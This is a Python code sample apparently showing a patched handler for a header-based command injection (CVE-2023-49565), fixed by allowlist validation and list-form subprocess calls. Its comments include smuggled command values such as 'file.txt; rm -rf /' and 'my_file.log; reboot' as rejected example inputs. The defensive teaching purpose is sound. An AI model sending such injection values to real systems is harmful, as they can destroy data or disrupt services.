Patched code sample

import subprocess
import re
import os

def safe_plugin_handler(headers):
    """
    This function represents a patched version of the code vulnerable to
    CVE-2023-49565. It demonstrates how to safely handle HTTP header inputs
    before using them in a subprocess call.
    """
    raw_filename = headers.get('X-FILENAME')
    raw_page = headers.get('X-PAGE')
    raw_field = headers.get('X-FIELD')

    # FIX PART 1: Input Sanitization and Validation
    # The vulnerability description mentions "improper sanitization". The fix
    # is to strictly validate inputs against an allowlist of expected characters
    # and formats, rejecting any unexpected values.

    # Validate filename: allow only alphanumeric chars, underscores, hyphens, and dots.
    if not raw_filename or not re.match(r'^[a-zA-Z0-9_.-]+$', raw_filename):
        # In a real app, this would return an HTTP 400 Bad Request error.
        raise ValueError("Invalid characters in X-FILENAME header")

    # Prevent directory traversal attacks.
    if '..' in raw_filename or os.path.isabs(raw_filename):
        raise ValueError("Directory traversal attempt in X-FILENAME header")

    # Validate page number: ensure it is strictly a digit string.
    if not raw_page or not raw_page.isdigit():
        raise ValueError("Non-numeric value in X-PAGE header")

    # Validate field: ensure it is strictly alphanumeric.
    if not raw_field or not raw_field.isalnum():
        raise ValueError("Invalid characters in X-FIELD header")

    # At this point, the inputs have been validated.
    filename = raw_filename
    page = raw_page
    field = raw_field

    # FIX PART 2: Safe Subprocess Execution
    # The vulnerability was caused by using user input directly in a command
    # string with `shell=True`. The fix is to pass the command and its arguments
    # as a list (an array of strings) to `subprocess.Popen` and ensure `shell=True`
    # is not used. This treats each input as a single, literal argument,
    # preventing the shell from interpreting metacharacters like ';', '|', or '$()'.
    command = [
        "/usr/bin/some_plugin_tool",
        "--file", filename,
        "--page", page,
        "--field", field
    ]

    # Execute the command. Because `command` is a list and `shell=True` is
    # omitted (defaults to False), the inputs are passed safely to the
    # executable without shell interpretation.
    # An malicious X-FILENAME like "file.txt; rm -rf /" would be treated
    # as a single, literal filename, not as a command to be executed.
    process = subprocess.Popen(
        command,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )

    stdout, stderr = process.communicate()

    if process.returncode != 0:
        # Handle errors from the subprocess, e.g., by logging stderr
        print(f"Subprocess failed: {stderr}")
        return None

    return stdout

# # Example of how this safe function would be used:
# # An attacker sends a malicious request
# malicious_headers = {
#     'X-FILENAME': 'my_file.log; reboot',
#     'X-PAGE': '1',
#     'X-FIELD': 'data'
# }
#
# try:
#     # The function will raise a ValueError due to the ';' in the filename
#     safe_plugin_handler(malicious_headers)
# except ValueError as e:
#     print(f"Rejected malicious input: {e}")
#
# # A valid request
# valid_headers = {
#     'X-FILENAME': 'report_data-v2.csv',
#     'X-PAGE': '123',
#     'X-FIELD': 'customerName'
# }
#
# try:
#     # This will safely execute:
#     # /usr/bin/some_plugin_tool --file report_data-v2.csv --page 123 --field customerName
#     result = safe_plugin_handler(valid_headers)
#     if result:
#         print(f"Subprocess executed successfully. Output: {result}")
# except ValueError as e:
#     print(f"Execution failed: {e}")